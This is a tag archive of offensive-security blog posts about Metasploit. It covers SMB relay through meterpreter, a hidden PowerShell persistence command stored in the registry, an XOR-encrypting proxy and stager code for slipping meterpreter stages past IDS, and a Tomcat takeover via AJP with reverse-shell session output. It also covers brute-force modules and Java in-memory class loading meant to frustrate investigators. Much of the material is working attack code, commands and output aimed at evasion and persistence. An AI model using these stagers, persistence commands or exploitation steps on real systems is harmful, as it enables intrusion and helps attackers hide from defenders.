Posts Tagged ‘metasploit’

The hijacking of port 445 to perform relay attacks or hash capturing attacks has been a recurring topic for a while now. When you infect a target with meterpreter, how do you listen on port 445? A few weeks ago this topic resurfaced again in part due to Dirk-jan (@_dirkjan) that saw this question flying by in the #bloodhoundgang slack channel and asked me to look into it. This sounded like fun to figure out and he promised that if it worked, he’d document a working setup that would be able to perform SMB relay attacks through meterpreter. Turns out, this is an already solved problem with readily available tools out there, but not a lot of people are aware about the solution.

We will explain how you can leverage these tools to perform relay attacks on a target on which you have a meterpreter session. The added benefit of this approach is the fact that you don’t need python2exe or a whole python stack on the infected host, just a simple driver and a meterpreter infection will do the trick.

The first part of this blog will focus on the thought process of being able to hijack port 445 and the second part of this entry will focus on making it usable for relay attacks. If you want to skip the thought process and relay setup you can also skip directly to the already available solution:

The rest of this entry is divided into the following sections:

  • Who is the owner of port 445?
  • Hijacking and redirecting port 445
  • The full SMB relay setup through meterpreter

Please note that we took the easy route while writing this blog post and just put all the files on the disk. If you want to avoid that we suggest that you use a ram disk solution or expand the current meterpreter in-memory execution functionality to support something similar to this.

In addition there is a high probability that you either have to recompile the source of the solution statically to ensure you won’t be needing additional DDL files or you’ll have to bundle those DLL files. All this is however left as an exercise to the reader ;)
(more…)

So this is a quick post with hopefully the goal of saving somebody else some time. Just for the record, I could have missed something totally trivial and I will hopefully get corrected :)

When working with the registry_persistence module, it turns out that one of the registry entries turns into garbage. At first I blamed myself of course, but it turned out that this could probably be a bug in the meterpreter code of which I’m not sure if it really is a bug or if there is a new API call which I haven’t found yet. So when executing the module the registry looks like this:

registry_garbled

Like you can see that’s not exactly how it really should look like, since what we are expecting is something more human readable and an actual powershell command.

The quick work around is to generate the correct string with the correct encoding and for me it was easier to do this with python:

a = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep 1; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKCU:myregkey_name').GetValue('myregkey_value'))))\""
b = '\\x'.join("{:02x}".format(ord(c)) for c in a.encode('UTF-16LE'))
print '\\x' + b

You can then just hard code the output string into the module (replace the original ‘cmd=’ string with your hex encoded one like cmd=”\x25\x00″ etc) and it should appear correctly in your registry. Following screenshot shows before and after:

registry_fixed

If you are curious how you could debug similar bugs yourself, keep on reading for a short tour of the problem solving part. If you are wondering why I don’t submit a PR to metasploit, that’s cause unicode scares the **** out of me. My usual experience is I generate more problems when dealing with unicode than I intended to fix.

(more…)

So like we have seen in previous posts bypassing antivirus engines isn’t always as difficult as you would expect. Now how about bypassing IDS/IPS systems? After all, the only thing we have done is make the initial stager undetected, the second stage still needs to be transferred over the wire. We have a couple of options to do this:

The first one has already been done by metasploit and integrates really nice within metasploit, so let’s build the second one for fun, profit and general learning.

Since we just want some obfuscation and nothing fancy we’ll just use our good friend XOR to obfuscate the payload. We do want this to be reusable or at least keep it simple. So I’ve chosen to implement an encrypting proxy. Why you ask?

  • You don’t have to change or edit metasploit code
  • You don’t have to change or edit the stage itself
  • You only have to change your stager
    • We have already build our own stager :)

So let’s modify our stager to support XOR decryption. For that we need a XOR function and actually calling that function.

/*
	Use for additional obfuscation??
	http://stackoverflow.com/questions/12375808/how-to-make-bit-wise-xor-in-c
*/
void xor(char *data,int len){
	int i;

	for(i=0;i<len;i++){
		data[i] = data[i] ^ 0x50;
	}
}

Then you actually call the function:

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		xor(&recvbuf[0],response);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);

Those are all the modifications we need to make to our existing stager. The proxy however we’ll need to build from scratch, these are the minimal steps it needs to perform to support a windows/meterpreter/reverse_tcp payload:

  • Listen for incoming connections
  • Connect to the metasploit handler
  • Read the payload length
  • XOR the payload on the fly
  • forward it to our stager
  • Just relay all traffic between stager and metasploit after this point

The only interesting part which is handling the initial stager connection looks like this:

#handle the initial stager connection
def handler(clientsock,addr):
    msfsock = socket(AF_INET, SOCK_STREAM)
    msfsock.connect((MSFIP, MSFPORT))
    msfdata = ''
    #read and send payload length to meterpreter
    msfdata = msfsock.recv(4)
    clientsock.send(msfdata)
    datalen = struct.unpack('<I',msfdata)[0]
    print "payload size %s" % datalen
    #now start sending and xor'ing the data
    while datalen > 0:
        msfdata = msfsock.recv(BUFF)
        xorreddata = ''
        for i in range(len(msfdata)):
            xorreddata += chr((ord(msfdata[i]) ^ XORKEY) & 0xFF)
        clientsock.sendall(xorreddata)
        rl = len(msfdata)
        datalen = datalen - rl
        print "send data %s remaining %s" % (rl,datalen)
    #we are done with obfuscation, just relay traffic from now on
    print "Starting loop"
    thread.start_new_thread(trafficloop,(msfsock,clientsock))
    thread.start_new_thread(trafficloop,(clientsock,msfsock))

Now when you run it you’ll encounter an interesting bug/feature in metasploit as in that metasploit doesn’t allow connections from 127.0.0.1. You can work around this by adding your own local loopback interface as explained here: http://www.kartook.com/2010/10/linux-how-to-add-loopback-on-ubuntu/

After solving that you just start metasploit payload handler:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 E

Then you start the encrypting proxy:

./ep.py 10.50.0.103 9999 10.10.10.100 4444

The only thing you have to do now is launch the custom stager and if everything goes as planned your metasploit terminal will look like this:

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.10.100
LPORT => 4444
[*] Started reverse handler on 10.10.10.100:4444 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.100:44995) at 2013-02-21 02:04:02 +0100

meterpreter > getuid
Server username: WIN-COMP\research
meterpreter >

and if you look at the data in wireshark it looks like this, instead of having the usual “This program cannot be run in DOS mode.”:

idsbypass

You can find the complete code for this (stager  & proxy) on my github as usual, as for the compiling instructions I’ve explained those in a previous post.

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
   
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References

A while ago I wrote about more efficient brute forcing if mod_negotiation is enabled. Also released a python script to automate this. Well now I’ve written some metasploit auxiliary modules that perform the same task. One module can be used to scan ranges for web servers that have it enabled, the other module can be used to actually brute force files. You can find them on github:

https://github.com/DiabloHorn/DiabloHorn/tree/5e495eb8553001946f4f98a79bd9542812de5b3e/metasploit/mod_negotiation

I’ve also made a redmine ticket on metasploit and submitted them, if you are lazy and just want to wait until metasploit includes them. Assuming they do, after all it’s my first attempt at contributing to metasploit and my code might not be up to the standards.

https://www.metasploit.com/redmine/issues/3257

For the ones paying attention to every detail, yes I fucked up and made a typo while submitting the ticket :)

If you want to use them you can place them in the following directory:

[metasploit-root]/modules/auxiliary/scanner/http/

After you’ve place them there, just fire up metasploit and perform a search for negotiation, they should show up in the results. If something goes wrong, read the code I didn’t do a lot of error checking. If you are wondering why I choose to make modules for the mod_negotiation issue…like always I wanted to learn something new and I was familiar with it so was more confident I could implement them. If it all went well it should all look like the following:

(more…)

For the ones who don’t know DnsCat it’s an awsome tool and even has metasploit shellcodes. Here’s a little quote from the website:

dnscat is designed in the spirit of netcat, allowing two hosts over the Internet to talk to each other. The major difference between dnscat and netcat, however, is that dnscat routes all traffic through the local (or a chosen) DNS server. This has several major advantages:

  • Bypasses pretty much all network firewalls
  • Bypasses many local firewalls
  • Doesn’t pass through the typical gateway/proxy and therefore is stealthy

Which brings us to my original quest of finding a nice protocol to experiment with Wireshark dissector prototyping using LUA. I decided to try and make a dissector for DnsCat traffic. This post won’t contain the dissector, instead it contains a stand alone LUA DnsCat traffic parser(main dissector logic). Reason for this is that I’m not entirely happy with the dissector as it is right now,  I want to try and improve some things on it before publishing it. To be able to run this parser you’ll need to install an additional LUA library though, since LUA doesn’t have native support for bitwise operators. You can get the library from the following website:

http://bitop.luajit.org/

The installation is pretty straightforward, if you are on ubuntu you could also just do the following:

sudo apt-get install liblua5.1-bitop0

Ones you have that in place you should be able to run the parser without any problems. You can get the parser from pastebin or at the end of this post. If you are really impatient you can throw together a quick dissector yourself and just reuse this code for the dissecting part. I’ve also included some references at the end of this post that I’ve used while developing the parser.

(more…)

So, just when you think hypes don’t affect you, a new hype gets your attention. Lately Java has hit the news as one of the latest risks and it’s pretty well abused for exploitation. Luckily we all know that exploiting “bugs” is not the only way to abuse Java. You can also abuse the trust Java places in digitally signed code, I’ve blogged about this issue before. Nowadays metasploit/SET even has a ready to use module for it. If you are wondering what all this has to do, with in-memory class loading…well sometimes when executing a java attack you want to make it harder for someone to detect your payload and you also want to leave less traces behind. In terms of Java I think that class loading is the thing that comes the closest to traditional in-memory execution. So let’s get started on making it harder for an investigator to investigate.

(more…)